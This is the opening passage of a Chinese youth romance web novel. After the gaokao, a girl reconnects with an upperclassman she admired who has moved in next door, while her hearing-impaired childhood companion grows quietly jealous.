《青梅入瓮》
1. Chapter 01
“徐凌音!”
葛芳的声音从厨房那头杀过来,穿透了二楼紧闭的房门,也穿透了徐凌音耳朵上戴着的单只耳机。
徐凌音眼神还黏在电脑屏幕上,脚却已经熟门熟路地踹开椅子,一脚把门踢开,探出半个脑袋朝楼下喊:“老妈,什么事?”
“你把这东西送到隔壁去。”葛芳的声音从楼梯口飘上来,伴随着塑料袋窸窸窣窣的声响。
电脑游戏的音乐还在耳边叮叮咚咚地响,徐凌音扯下一边耳机,转头看向耳机线连接着的另一头——
路明川。
他坐在她旁边,脊背挺直,眼睛盯着屏幕,薄薄的眼皮微微垂着,淡琥珀色的眼瞳里映着两个隔在左右尽头的小人。
明明是夏天,路明川身上的气质却像是浸过井水,清清凉凉的,不带一点汗意。
徐凌音拿胳膊肘捅他:“你等着啊,待会儿我再来和你大战八百回合,绝对带飞你。”
路明川撩起眼皮往她这儿瞥了一眼。那眼神里装满了毫不掩饰的不屑。
徐凌音冲他龇了龇牙,从椅子上跳起来。
她一起身,那股蓬勃的、肆意的生气就在房间里漫开来,白得发光的细直长腿,随手挽起的丸子头,转身时带起一阵风,是洗发水和夏天混在一起的味道。
路明川的眼神从屏幕上移开,黏在她身后。
等她消失在门边,那眼神又淡下去,重新落回电脑屏幕。屏幕上的蓝色小人站在原地,已经很久没有动过。
他也没动。
就这么看着。
徐凌音趿拉着拖鞋下楼,看见葛芳正往塑料袋里装着什么。走过去一瞧,是老妈亲手做的红糖麻花,金灿灿的,裹着一层晶亮的糖衣,码得整整齐齐。
“把这盒麻花给隔壁邻居送去。”葛芳把袋子塞她手里。
“为什么呀?”
徐凌音捏起一根麻花往嘴里塞,被葛芳一巴掌拍掉手。
“隔壁新搬来一家,打好关系嘛。远亲不如近邻,人家以后有什么事也能互相帮衬。”葛芳擦了擦手,“快去。顺带把明川也叫上,你们俩高考完天天窝在家里像什么样子,也不怕发霉。”
徐凌音撇嘴:“别了吧,那人比我还宅。他从小就不爱出门,你又不是不知道。”
葛芳想了想,竟然点了点头:“也是。”
也是。
打小,路明川就对社交毫无兴趣。别的小孩在巷子里疯跑,他坐在台阶上看书;别的小孩抢玩具抢得头破血流,他一个人能关在房间里拼乐高拼一整天。
就连第一次接触电脑,徐凌音打开的是4399小游戏,路明川打开的是扫雷。
扫雷啊!
老天,她这个竹马当真无趣至极。
要是换个人,徐凌音肯定是要讨厌的。但一想到路明川不爱出门可能是因为那个东西,她就心虚,就愧疚,就忍不住想对他好一点。
那个东西此刻正躺在路明川的耳朵里——完全耳道式的助听器,不仔细看根本发现不了。只有偶尔阳光从某个角度打过来,才会在他耳廓深处闪过一点微光。
徐凌音记得第一次见到他的样子。
那时候路明川刚被送到徐家,比她堪堪高了一点儿。黑色的头发软软地垂下来,遮住大半眉眼,整个人瘦得厉害,合身的衣服穿在他身上也显得空落落的。
徐凌音上去戳他,问他叫什么名字。
他抿着唇不说话,连个眼神都不给她。
徐凌音第一次觉得一个人这么无聊,这么没礼貌。
后来她才知道,路家做生意失败欠了一屁股债,东躲西藏好几年,把路明川养成了这副样子。路父和徐父是从小玩到大的发小,出于友情加上同情,暂时把他接到家里,等风头过了再接回去。
谁曾想。
徐凌音咬了咬嘴唇,把那段记忆按回去。
反正从那以后,路明川就再也没离开过徐家。两家闭口不谈那件事,路家一年送来一次生活费,说是等“稳固了”再把人接回去。
这一等,就是十三年,等到高考毕业。
十三年过去,当初那个瘦弱的小孩已经长成了现在这副模样。
七月的巷子是被太阳泡软的。
石板路缝里的狗尾巴草耷拉着脑袋,墙角的青苔晒得发白,连知了的叫声都拖得又长又黏,像融化的麦芽糖挂在树梢。
而隔壁不过多走两步路就到。和徐家一样,同是一户二楼的平层带庭院。
徐凌音本想敲门,手刚放上去,大门就自动开了一条缝,看上去没锁。
她清清嗓子,挤出一个自认为和善可亲的笑容,毛茸茸的脑袋探进去,
院子里蹲着一个人,正背对着她摆弄什么。白T恤被汗水洇湿了一小块,贴在背上,勾勒出流畅的肌肉线条。
听到动静,那人回过头来。
阳光从他背后打过来,晃得徐凌音眯了眯眼。等视线聚焦,她看清了那张脸,干净的眉眼,清爽的气质,笑起来的时候脸颊上会凹进去两个小窝。
徐凌音的大脑空白了两秒。
那人站起身,放下手里的木棍,拍了拍手上的灰。他看着她,眼神里有一点意外。
然后他笑了。
“徐凌音?”
声音也是熟悉的。
徐凌音张了张嘴,试探着问出口:“陈远舟……学长?”
陈远舟。
比她高一届的同校学长。人长得干净清爽,成绩也好,再加上是摄影部部长的身份,学校里喜欢他的女生能绕操场三圈。
这其中,包括徐凌音。
不过说是喜欢,更多的其实是崇拜。毕竟两人的交集仅限于艺术节那一次,她和他刚好被选为主持人,一起对过几次稿子,一次同台,仅此而已。
那时候在学校里不能过多打扮,但现在陈远舟已经读过一年大学,穿衣打扮早就变了一番模样,白T恤牛仔裤穿在他身上,愣是穿出了杂志封面的味道。
徐凌音现在不太敢认,怕认错人。
“好巧啊,”她把怀里的麻花往前递了递,“你怎么会搬来这儿?”
陈远舟接过麻花,目光在她脸上停了一瞬。
“我外婆年纪大了,我妈不放心她一个人住,让我寒暑假陪她住一阵。开学再回去。”
“噢。”
徐凌音应了一声,心里莫名其妙有点失望。
但更多的还是惊喜。
学长居然还记得她诶。
“忙得过来吗?”她往院子里探了探脑袋,“要不要我帮你做点什么?打扫卫生什么的也行。”
陈远舟摆摆手,笑得温和:“不用,哪能麻烦你啊。”
“这样啊,那好吧。”
徐凌音拖长了尾音,耸了耸肩。她其实也就是装装样子。她在家里衣来伸手饭来张口,家务大都是路明川包干,性子养得刁,不过是顺嘴提一句,刷个好感度罢了。
但陈远舟不知道。
他愣了一下,假客气见得多了,只愿意维持一秒了倒是第一次见。
有眼力见,但不多。
陈远舟突然觉得这女生挺有意思的。
趁着徐凌音转过身的时候,他的目光从她脸上移开,往下滑了一点。又滑了一点。
那两条腿又白又细又直,在阳光下白得晃眼。他记得徐凌音,因为这女生长得是那种一眼望过去就挪不开眼的明媚漂亮。
眼睛波光潋滟,尾端上挑如淬了桃色星子,笑起来明媚得晃眼。看人的时候总带着天然的骄矜,整个人透着肆意的、蓬勃的生气,像三月枝头开得最盛的花。
陈远舟收回视线,笑得更温和了:“不过还是谢谢你,麻花看起来很香。”
他的声音很温柔,眼神也很温柔,偶尔递过来的那一眼,让徐凌音莫名其妙有点不好意思。
徐凌音又闲扯了两句,就摆摆手说要回去。
陈远舟目送她走到大门口。
徐凌音从隔壁出来,觉得脸有点烫。
不知道是不是天气太热的缘故。
巷子口的烤肠摊飘来一阵香味,她摸了摸肚子,走过去买了三根——她一根,路明川一根,剩下一根给老妈。
刚咬了一口,迎面就撞上一个熟悉的身影。
王奶奶家的孙子。
小胖。
徐凌音装作没看见,继续走她的路。这人从小就讨嫌得很,她懒得搭理。
但这世上总有人看不懂眼色。
小胖往墙上一靠,两条胖腿一伸,直接拦住了她的去路。他咧着嘴,露出几颗大板牙,神情上下打量,里带着那种让人不舒服的恶心劲儿。
“哟,今天怎么一个人?”他的眼睛在她身上转了一圈
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,“你的童养夫呢?”
徐凌音脚步顿住。
她抬起眼,原本清凌凌的眼睛里的光,此刻像是要烧起来了。
“你说什么?”音量不禁提高。
“我说——”小胖故意拖长了调子,“你的童养夫呢?路明川那小子怎么没跟着你?这落花巷子里谁不知道他是你未来小老公,装什么装。”
徐凌音盯着他,不说话了。
这人也就敢在路明川不在的时候来招惹她。她心里门清。
“滚开。”她开口,声音很平,“好狗不挡道。”
“嘿哟。”小胖笑得更大声了,“路明川那小子耳朵那么聋,你平时和他说话累不累啊?他听得见吗?他是不是每次都要问你‘你说什么’?哈哈哈哈。”
徐凌音抬起眼。
她平常总是笑嘻嘻的,笑起来的时候眼睛弯成两道月牙,甜得能掐出蜜。但此刻那双眼睛里没有笑,看上去就显得生人勿近。
“你讲话给我注意点。再议论他的耳朵,我就把你的猪耳朵砍下来当狗食。”
小胖愣了一下。
换做小时候,徐凌音早就撸起袖子蹬上去揍他了。但现在男女力量悬殊,她不会傻到往上冲。
但她有别的办法。
徐凌音抬起头,冲着二楼的窗户,扯开嗓子喊了一声:
“路明川!”
窗户没动静。
树枝上有鸟在叫,天空中有云在飘,巷子里的知了扯着嗓子喊得震天响。
就是没人应。
徐凌音咬了咬牙,又喊了一声:
“路明川——有人欺负我——下来揍他!”
小胖嗤笑一声,正要开口嘲讽。
楼上那扇窗户突然被大力推开了。
吱嘎一声,很刺耳,像划在耳膜上。
金色的阳光从上方倾泻下来,照在那个站在窗边的人身上。这样的死亡打光落在别人脸上可能是灾难,落在他脸上,却把那张脸衬得更加立体,眉眼冷峻,轮廓分明,融融的光将他身上那股清冷的气息化开几分,显出一点难得的温度来。
他低头看下来。
眼神先是定在徐凌音身上。从上到下的,把她整个人扫了一遍。
然后才慢慢移开,落在小胖身上。
就那么看着。
也没说话。
半晌,他狭长的眼尾轻微扬起来。
路明川笑起来的时候,那双眼睛便含着点坏,眼下两颗泛着浅淡红色的小痣跟着上扬,冷意里便洇出几分痞坏的邪气来。他的双手搭在窗户沿上,指尖勾着一个东西,一个小小的、泛着冷光的助听器。
他勾着它在指尖晃了晃,像晃着什么不值钱的小玩意儿。
“又是你啊。”他的声音从二楼落下来,带着一点漫不经心的懒散,“从小被打到大,还不习惯?”
他将助听器勾在指尖故意一晃一晃的,仿佛是个不值钱的玩意儿。
“待会儿你的求饶声我可听不见。”
小胖的脸色变了。路明川才不会跟他开玩笑。这种笑着说话更诡异了。
他的视线在路明川脸上停了一秒,又移到那根勾着助听器的手指上,再移开路明川的脸,再移回去。
然后他抿了抿嘴唇。
转身就跑。
跑得比他那两条胖腿应该有的速度还要快。
徐凌音冲着那个狼狈的背影,竖起一根中指。
然后她收回手,仰起头,冲楼上的人露出一个大大的笑脸。
那笑容明媚得晃眼,眼睛里装着满满的得意,嘴巴咧开,露出几颗白白的牙齿,整个人像是会发光。
路明川低头看着她。
没说话。
徐凌音等了半天,没等到他说话。她歪了歪脑袋,正要开口,就听见那道冷淡的声线从头顶抛下来,带着一点压迫感。
“徐凌音。”
“怎么了。”
“你知不知道——”
他顿了顿。
风从巷子口吹过来,吹动他额前的碎发。他垂着眼看她,淡琥珀色的眼瞳里映着阳光
“蓝色小人都等得发蔫了。”
徐凌音一愣。
蓝色小人。
游戏里路明川控制的那一方。
楼上的那个人已经收回视线,转身消失在窗口。
2. Chapter 02
游戏还在继续。
但徐凌音没再戴耳机。
剩下一只耳机还挂在路明川右耳上,另一只则孤零零地躺在桌面上,像被遗弃的小玩意儿。
她自己则捧着手机,正和闺蜜方涵知语音通话,讲得眉飞色舞。
“他真的,我跟你讲,就站在那儿!阳光从背后打过来,白T恤,牛仔裤,笑起来有两个酒窝!你知道那种感觉吗,就那种——”
徐凌音手舞足蹈,差点把手机甩出去。
路明川瞥了她一眼。
没说话。
单只耳机里传来游戏音效,蓝色小人左右来回焦躁跑动,而红色小人站在原地没动。两个人就这么僵着,一静一动显得格外矛盾。
徐凌音浑然不觉,继续对着手机输出:“他成绩真的特别好!你还记得不,荣誉榜上第一页就是他,照片挂在最上面那一排,穿白衬衫,活脱脱一清纯小男生。”
方涵知的声音从听筒里传出来,带着点惺忪的慵懒,像一只刚睡醒却被迫吃瓜的猫:[记得记得,怎么会不记得。你高二那会儿天天拉着我去篮球场蹲他,我腿都蹲细了,我真是谢谢你啊徐大小姐。]
“那不是值得吗!”徐凌音理直气壮,“他那场篮球比赛真的特别帅啊!三分球,唰——空心入网!”
她说着,一激动,手指“啪”地猛按上键盘。
屏幕里的红色小人往前一蹦,直接掉进冰窟窿里。
GameOver。
路明川垂着眼,面无表情地按下“重来”。
然后他开口了,语气淡淡的。
“又怎样,现在的第一页还不是换我了,有什么稀奇的。”
徐凌音一愣,转头看他。
他盯着屏幕,侧脸线条冷峻,看不出什么表情。那只耳机挂在右耳上,黑色耳骨钉在屏幕的光里闪了一下。
她抿唇:“路明川!你要不要这么臭屁啊?”
他没理她。
方涵知在电话那头笑得不行:[哈哈哈哈路明川是不是在旁边听着呢?我就说你发花痴能不能找个没人地方。]
“谁发花痴了!”徐凌音对着手机嚷嚷,脸颊却莫名有点热,“我就是陈述事实!”
[等等等等,]方涵知打断她,语气里带着点狡黠的笑意,[我记得第一次看他打篮球的时候,你还让我去帮你要过微信来着?]
徐凌音噎了一下。
她确实干过这事儿。
高一那会儿,陈远舟高二,学校组织全校篮球赛,她拉着方涵知去蹲了三场。在男女关系方面,她怂得不行,所以最后一场结束的时候,死活不敢上去要微信,最后是方涵知拽不动她了,猛地一个箭步冲上去的。
结果陈远舟笑着说“不好意思啊,我不用□□”,礼貌地把她们打发走了。
后来才知道,人家用的是微信。
方涵知当时就吐槽了一句:这学长,看着挺温柔,怎么有点装呢。
徐凌音当时还为陈远舟辩解了半天,说人家可能真的不用□□嘛。
其实心里也隐隐觉得,好像是有那么一点点装。
但她很快就说服自己:学长那么优秀的人,有点架子很正常。
毕竟越没加上,她就越心痒难耐。人就是这么奇怪的生物,得不到的永远在骚动。
“你不说我都差点忘了。”徐凌音讪讪地挠了挠鼻尖。
[你现在高三毕业了,懂事了,可以去要了。]方涵知的声音里带着点怂恿的意味,[而且你都十八了,成年了,谈恋爱合法了!]
“诶你这话说的——”
徐凌音话没说完,身边又飘来一道声音。
“怎么,打个篮球给你打出一剂肾上腺素了?小人激动得直往沼泽里跳,找死啊。”
路明川说这话的时候眼睛还盯着屏幕,手指搭在键盘上,语气凉凉的,像刚从冰箱里拿出来的气泡水,还带着点刺。
徐凌音愣了一下。
她确实是心不在焉,时不时手指一抽,红色小人就不小心死掉了。
不过,这语气听起来怎么这么呛。
同时,方涵知在电话那头沉默了两秒。
徐凌音被呛了一句,心里有点不太舒服。这人很少这种态度,但近几年倒是越发次数多了,动不动就阴阳怪气的。她琢磨不明白,索性不想了。
男人心,海底针,难猜。
她懒得惯着路明川这奇怪的死性子。
已经忍他十三年了,再忍下去她就要立地成佛了。
“说个看打篮球怎么了?”
她撇撇嘴,下巴微微扬起,露出那截白皙的脖颈,“就看就看,好看爱看天天看。”
“呵。”
路明川轻笑一声,尾音往上挑了挑,带着点说不清的意味。
“怎么不见你来看我打?”
徐凌音理直气壮:“哎呀,谁叫我每次都抢不到座位,我又不想站着,啧啧啧,没办法,你迷妹太多咯。”
“诡辩。”
“你才诡辩!”
两个人你一句我一句,完全小学生拌嘴。
徐凌音说得兴起,压根没注意到屏幕上的红色小人又死了几回。
方涵知在电话那头沉默了又沉默。
半晌,听筒里传来她幽幽的声音,[路明川在你旁边干嘛啊?]
徐凌音看了身边人一眼:“噢,和他在打游戏。”
[……]
[那你还和我打语音。]
“没事,当他不存在,他又不爱听这些。”
方涵知又问:[你们玩的啥?]
“森林冰火人。”
[……]
屏幕上弹出来一条消息,方涵知发的:[不是?这么无聊的游戏,路明川也陪你玩儿?]
徐凌音盯着那行字,抿了抿嘴。
路明川从小就陪她玩这些无聊的游戏。各种4399里的双人小游戏,什么森林冰火人,火柴人,黄金矿工,甚至是那种弱智的美妆小游戏,只要她喜欢玩的,他都玩。
有时候她操作太菜,卡一关能卡半小时,他也不催,直到徐凌音挤出哀求的表情,哼着拜托路明川给她打过去。
她饿了,他去给她煮面;她渴了,他去给她倒水;她玩累了,他就递来眼药水。
很快,方涵知的语音又来了,她赶紧接起来。
[我说,你高中毕业了,真可以考虑谈恋爱了。陈远舟不是挺好的吗,长得帅,成绩好,现在又搬到你隔壁,这不是天时地利人和?]
徐凌音心跳漏了一拍。
[而且你看啊,你从高一就惦记人家,惦记了三年。现在老天爷都把人送到你隔壁了,你要是再不行动,那真是对不起这缘分。]
“什么缘分不缘分的,”徐凌音小声嘟囔,耳根却有点热,“人家说不定有女朋友了。”
[有没有女朋友,你去问问不就知道了,你平时恨不得横着走的一个人,怎么一到这事儿就怂成这样?]
“我哪里横了!”
[你不横?你不横路明川能给你当这么多年小弟?]
徐凌音被噎得说不出话。
方涵知一锤定音:[听我的,找个机会去要微信,直接点,别拐弯抹角的。你长这么漂亮,成功率至少一半以上。]
徐凌音下意识摸了摸自己的脸。
漂亮吗?
好像还行吧?
但她从来没认真想过这个问题。从小到大,她只知道自己不丑,但也从来没觉得这张脸能当什么资本,虽然总有人夸过自己,但她总觉得不过是一种交往礼仪而已。
两人又聊了几句,聊陈远舟高考考了多少分,聊他去了哪个大学。
徐凌音聊得心不在焉。
手底下的操作越来越烂,红色小人一会儿掉冰里,一会儿掉沼泽,一会儿卡操作跳不过去。
路明川也不说话,就那么配合着。她死了他就按重来,死了就重来,死了就重来。
也不知道重来了多少次。
最后,蓝色小人居然掉进沼泽里,有点像是“自杀”的意味。
GameOver。
路明川盯着屏幕看了两秒。
那两秒里,他什么表情都没有。
然后他把耳机摘下来,往桌上一扔。
“啪”的轻微一声,几乎听不太清。
徐凌音抬起头,他已经站起来,从她身边走过去,推开房门,出去了。
门开了又关。
房间里突然安静下来。
那种安静不是普通的安静,是那种连空气都凝滞了的安静。电脑屏幕还亮着,游戏界面还停在那里,红色小人孤零零地站在右边,一动不动。页面等着她点下“重来”。
方涵知在电话那头小声问:[走了?]
徐凌音“嗯”了一声。
方涵知又问:[他怎么啦?]
徐凌音想了想,不太确定地说:“哎,嫌弃我太菜了吧,拖他后腿了。”
“以后不跟他玩这种双人小游戏了,没意思。”
方涵知在电话那头笑了两声。
路明川一走,这房间里也没什么待的意思。
徐凌音索性放下手机,走了出去。
院子里洒满阳光,金灿灿的一片。七月的傍晚来得晚,太阳还挂在天边,把整条巷子都镀上一层暖色。
她搬了个小凳子,坐在院子
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里的老槐树下。
蚂蚁在脚边爬来爬去,排成一列长长的队伍。徐凌音捡起一颗小石子,堵在它们前面。
蚂蚁们愣了两秒,然后绕过石子,继续爬。
她又堵了一颗。
蚂蚁又绕开。
再堵。
再绕。
徐凌音和蚂蚁杠上了。
手机震个不停,方涵知的消息一条接一条:
[你打算怎么要微信?直接去敲门?还是假装偶遇?我觉得偶遇比较自然。]
[你可以从篮球入手,你不是说他打球帅吗,你就说你也想学篮球,让他教你。]
[诶不对,这么热的天在室外打篮球多受罪啊。]
[羽毛球!羽毛球比较合理!你让他教你,一来二去就熟了!]
她正想回复,突然灵光一闪,脑子里冒出一个绝妙的主意。
她激动地敲屏幕:[好龟龟!4399有个双人打羽毛球的游戏,你说陈远舟会不会和我玩儿?]
那边沉默了三秒。
然后方涵知的消息像炮弹一样轰过来:
[要不是我现在外面旅游回不来,我恨不得冲过来抽你。]
[徐凌音你是有什么大病吗?]
[人家二十岁的大小伙子,你让人家陪你玩4399?]
[你清醒一点!!!]
她发了一连串的表情包,有比格犬werwer大叫的的,有猫猫疯狂摇头的,密密麻麻占满了整个屏幕。
徐凌音看得直乐,还忍不住收藏几个表情包,乐完了又有点心虚。
方涵知的轰炸还没停:[你就不能正常点吗!直接去要微信会死吗!你这么漂亮一张脸是白长的吗!]
[你想想,你站在他家门口,夕阳照在你脸上,你笑着问他能不能加个微信。这画面多美好!多偶像剧!]
[你让人家陪你玩4399???徐凌音你是来搞笑的吗???]
徐凌音被她骂得抬不起头,但还是忍不住回了一句:[那万一他拒绝我怎么办……]
[拒绝了就拒绝了呗,又不会少块肉。]
[再说了,就你这张脸,我要是男的我早就冲了。他不答应那是他没眼光,咱换一个更好的。]
徐凌音盯着那行字,她下意识又摸了摸自己的脸。
方涵知的最后一条消息弹出来:[你就听我的,直接去要。要不到你请我吃饭,要到了你也请我吃饭。反正这顿饭你跑不掉。]
徐凌音:“大馋丫头……”
她抬头看了一眼隔壁那栋楼。
二楼窗户开着,里面隐约有人影晃动。夕阳落在玻璃上,反射出一片橘红色的光,暖融融的。
她咽了咽口水。
算了算了,还是再想想。
她在这方面是真的怂。
从高一怂到高三,怂了三年,现在让她突然雄起,实在是有点难,要知道,从小到大身边只有个路明川,也没和哪个异性多接触过,也没收到过情书。
她继续低头玩蚂蚁。
太阳慢慢往下沉。
从金色变成橘红色,又从橘红色变成温柔的粉紫色。天边的云被染成一片,像打翻了的颜料盘,一层一层晕开,从深到浅,从浓到淡。
晚霞落在老槐树的枝叶间,在地面上投下斑驳的光影。有风吹过,叶子沙沙作响,光影也跟着晃动,像一场无声的电影。
巷子里飘来饭菜的香味。
不知从哪一户开始,然后是第二户,第三户炒菜的滋啦声,锅碗碰撞的叮当声,小孩的笑闹声,大人的招呼声,混在一起,织成一片人间烟火。
徐凌音的肚子叫了一声。
她收起手机,拍拍屁股站起来,走回屋里。
葛芳正在厨房里忙活,灶台上摆着几个盘子,红烧肉、清炒时蔬、西红柿鸡蛋汤,都是她和路明川共同爱吃的。
她系着那条洗得发白的围裙,头发随便挽在脑后,几缕碎发垂在耳边,被油烟熏得有点油腻。但她的动作很利落,颠勺、翻面、调味,一气呵成。
徐凌音凑过去,伸手想捏一块肉,被葛芳一巴掌拍开。
“洗手去!你这个德行又不改,都多大了还偷吃。”
徐凌音撇撇嘴,乖乖去洗手。
水龙头里的水哗啦啦地流出来,凉凉的,冲在手上很舒服。她一边洗一边哼歌,哼的是不知道什么调子,乱七八糟的。
饭菜摆上桌,红烧肉泛着油亮亮的酱色,清炒时蔬翠绿翠绿的,西红柿鸡蛋汤红黄相间,看着就很有食欲。
葛芳擦了擦手,环顾四周:“明川呢?还没回来?”
徐凌音一愣:“他什么时候出门的?”
3. Chapter 03
她在院子里待了一下午,一直以为路明川只是回自己房间去了。
“打电话,叫他回来吃饭。”
“遵命。”
徐凌音刚掏出手机,院子的铁门就被推开了。
路明川走进来。
他站在门口,整个人像是刚从水里捞出来的一样。
额前的碎发湿透了,一绺一绺地贴在额角上,发梢还在往下滴水。冷白的皮肤此刻泛着淡淡的粉色,像上好的瓷器被轻轻染了一层胭脂。汗珠顺着脖颈往下滑,滑过喉结,没入领口。
他还在喘气。
胸口微微起伏着,呼吸还没有平复下来。那双淡琥珀色的眼睛在夕阳里显得格外透亮,像被水洗过的玻璃珠。
徐凌音盯着他看了几秒,狐疑地开口:“你这是干嘛去了?提前适应搬砖生活?”
路明川没理她。
他抓过屋檐下晾晒的毛巾,往脖子上擦。动作随意,却带着点说不出的散漫好看。毛巾擦过脖颈,擦过喉结,擦过被汗水打湿的碎发。
“无聊,出去跑了两圈。”
“跑步?”徐凌音一脸不信,“我怎么不知道你这么热爱运动。”
“那是你对我了解太少。”
话落,他把毛巾随手扔进卫生间的洗漱台上,水龙头一开,温凉的水哗啦啦地冲向被汗打湿的毛巾。
水声在狭窄的空间里回荡。
徐凌音趴在门框边,一双眼睛盯着路明川的手。她看得有点出神,满脑子都是方涵知的话。
脸颊上突然沾染上一点凉意。
她猛地回过神来,路明川侧着脸看她,手指还保持着方才弹水的姿势,唇角微微上扬,带着点促狭的笑意。
徐凌音跺了一下脚,抬手把水珠擦掉,瞪他:“你干嘛呀,烦不烦。”
“发什么呆?实在无聊就来替我洗毛巾。”
他的声音还是那样淡淡的,但语调明显比之前轻松了很多。
徐凌音翻了个白眼,双手在胸前比了个大大的“×”。
“不好意思,本小姐拒绝。这是你的活,别想甩给我。”
路明川也不和她多纠缠,只是继续揉搓着毛巾,把香皂的泡沫冲干净。
水龙头的水还在流,哗哗的,像是给这狭小的空间配上了背景音乐。
徐凌音眨了眨眼,又想到方涵知说的话。
她下意识摸了摸自己光滑的耳垂。
也徐、应该、大概可以去打个耳洞?
她脑海里冒出那些戴着漂亮耳环的美女,摇曳的流苏耳环,闪亮的钻石耳钉,还有那种小小的、精致的珍珠耳坠,衬得人脸蛋都发光。
方涵知说得对,谁不喜欢漂亮的呢。
如果能再漂亮一点,说不定成功几率就能大一点。
她这么天马行空地想着,抬手去戳路明川的手臂。
“有事?”
路明川侧过脸看她。
夕阳从卫生间的小窗户里斜斜地照进来,落在他半边脸上。他那双淡琥珀色的眼睛被光照得透亮,像盛着一汪融化的蜜。
“路明川,吃完饭能不能陪我去打个耳洞啊?”
他愣了一下。
手指顿住,停在水龙头上方。
“为什么突然想打耳洞?”
“就是想啊,哪有这么多为什么。再说了,这不是想着你打过有经验吗,我就不用踩雷了。”
香皂的味道浅淡地洇在狭窄的卫生间里,混着水汽,湿度过高让人有些缺氧般的想深呼吸。
路明川没说话,只是下意识用沾染泡沫的指尖拂上自己的黑色耳骨钉。
然后他垂下眼,应了一声。
“好。”
饭桌上,徐宝国又在高谈阔论,从秦始皇统一六国侃到中美关系,唾沫横飞,俨然一副历史学家的派头。
徐凌音听得耳朵都要起茧子了。
她埋头扒饭,假装自己是个没有感情的干饭机器。奈何徐宝国的声音穿透力太强,隔着满桌饭菜都能精准命中她的耳膜。
桌上没人应他。
葛芳终于听不下去,夹起一块红烧肉,精准地塞进他嘴里。
“闭嘴吧你。”
徐宝国也没恼被下了面子,只是嚼着肉,然后把这情形给糊弄过去,“看吧,有媳妇就是好。”
徐凌音用余光瞥了一眼坐在旁边的路明川。
他正安静地吃饭,筷子夹菜的动作很轻,碗筷碰撞几乎没声音。脊背挺直,眉眼低垂,吃相斯文得不像这个家养出来的。
徐宝国的视线扫过挨着坐的两人,忽然开口:“你们打算填什么大学啊?”
“老爸,成绩还没出来呢。”徐凌音无语。
“那怎么了?你们考完也有点数嘛,在心里揣个梦想啊。”
“你都说那是梦了,等成绩出来再说吧。”
徐宝国抿了一口白酒,咂咂嘴,酒香混着辣味在空气里散开。
“要我说,你们还是填同一个大学的好。”
“我不要!”
徐凌音的话几乎是脱口而出,顺着徐宝国的话接上的,快得她自己都愣了一下。
话音落下的瞬间,饭桌上突然安静了。
三双眼睛齐刷刷地看向她。
葛芳拿着筷子的手悬在半空,徐宝国端着酒杯的动作顿住,就连路明川都撩起眼皮,往她这边瞥了一眼。
徐凌音被看得莫名有点心虚。
她讪讪地扯了扯嘴角:“我和路明川从小在一块,都十三年了,还在一个大学,多累啊。”
“你有什么好累的?”
路明川终于开口,语气平平的,听不出情绪。
“怎么不累?”徐凌音来劲了,“你平常跟个特务一样,就爱打小报告,我喘口气你都恨不得记下来汇报给我妈。”
她可没瞎说。
初中的时候,后桌男生给她递了两本漫画,说是内容好看送给她。她乐得喜笑颜开,还没来得及说谢谢,运气差得没边——被路明川看见了。
当天晚上,葛芳就知道了。
“徐凌音!听说有人给你递情书?”
她当时一口水喷出来:“什么情书?那是漫画书!”
虽然后来证实是一场乌龙,但葛芳那话她记得清清楚楚:“明川,你多看着她点,别让什么别的男生给她带坏了,不好好学习看什么漫画书。”
本来是关乎学习的话,结果路明川跟领了什么圣旨似的,从此开启了“监控模式”。
和男生多说两句话?他冷着脸在旁边站着跟个雕像一样,弄得对方尴尬得不好意思说话。
有男生给她递辣条?他面无表情地还过去,说“她不吃垃圾食品,正长身体”,还不忘恐吓徐凌音这东西吃了长不高,满脸痘痘。
她成绩稍微晃一下?他就开始念叨“下次倒退我就告诉阿姨,送一顿竹笋炒肉”。
偏偏葛芳还就信他。
谁叫她从小性子野,葛芳管她管得头疼,路明川倒好,一对比就成了“懂事乖乖男”。
为这些鸡毛蒜皮的事,徐凌音能记他一辈子。
这个王八蛋!
这么想着,她又恨恨地往嘴里塞了两大口米饭,腮帮子鼓得像只藏食的仓鼠。
路明川看着她。
唇抿了又松,松了又抿。
最后还是一句话都没说。
吃完饭,两人分工洗碗。
这是从小到大的规矩:一个洗,一个清,轮着来。今天轮到徐凌音洗,路明川清。
水龙头哗哗地流,洗洁精的泡沫在指尖绽开。徐凌音洗得心不在焉,脑子里一会儿冒出陈远舟的笑脸,一会儿又想起方涵知那句“你长这么漂亮,成功率至少一半以上”。
她下意识看了一眼窗户玻璃上倒映出的自己。
模模糊糊的,看不太清。
“发什么呆。”
路明川的声音从旁边传来,把她吓了一跳。她回头,看见他正拿着干布擦她刚洗好的碗,动作很轻,骨节分明的手指被水泡得微微发白。
“没发呆。”她嘴硬。
“碗都快被你冲破了。”
徐凌音低头一看,手里的碗已经被冲了三分钟了。
她讪讪地关掉水龙头,把碗递给他。
洗完碗,收拾好厨房,两人出门。
*
夜风是软的。
巷子里很安静,路灯亮着昏黄的光,把石板路照得温温吞吞。两边的老墙上爬满了青藤墙角有不知名的野花,粉的白的,开得细碎。月光落下来,给它们镀上一层淡淡的银边。
徐凌音走在前面,路明川落后半步。
两个人的影子被路灯拉得很长,一前一后,偶尔交叠。
中间隔着一拳的距离。
不多不少,正好一拳。
这是从小到大养成的习惯,不近不远,刚好能听见对方说话,又不会碰到。
徐凌音踩着影子玩,一会儿踩自己的,一会儿踩路明川的。他本来一开始不玩这游戏,后面跟着躲了好几次,让她踩了几次都没踩中。
“幼稚。”
路明川的声音从头顶飘下来。
徐凌音抬头瞪他:“要你管。”
打耳洞的店在老街拐角,门面不大,招牌也旧了,但生意挺好。路明川提前发过消息,两人到的时候,店里刚走了一对顾客。
老板娘是个四十来岁的女人,短发,圆脸,笑起来眼睛弯弯的,看着很和善。她把两人带上楼,打开操作室的灯。
“妹儿,你来看看是只戴普通的圆球款,还是耳钻?”
徐凌音循声望去。
旁边有一个一米长的柜子,里面整整齐齐排列着各式各样
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的耳钉。白色的光照满整个柜子,各色耳钻在光下折射出细碎的光芒。
徐凌音黑色的眼瞳里映满那些绚烂的光彩,不由得微微张开嘴。
她下意识转头,看向站在身后的路明川。
“路明川,你觉得我应该戴哪个?”
“都行。”
他靠着门框,双手插在裤兜里,语气淡淡的,“你喜欢就好。”
徐凌音撇嘴。
这渣男发言还不如不说。
“噢对了,”老板娘的声音又传过来,“圆球款只收基础手工费,如果是耳钻还要单独收费哦。”
“啊,多少钱啊?”
“多加25块,你看看要不要。”
二十五。
不贵也不便宜。徐凌音在网上看过,大多十块左右,要是上1688还能更便宜。
她正准备说不要了,老板娘又笑眯眯地补了一句:“打完一个月后来找我换短杆,没事的话自己少碰耳杆,操作不当会发炎。”
徐凌音愣了一下。
这么麻烦?
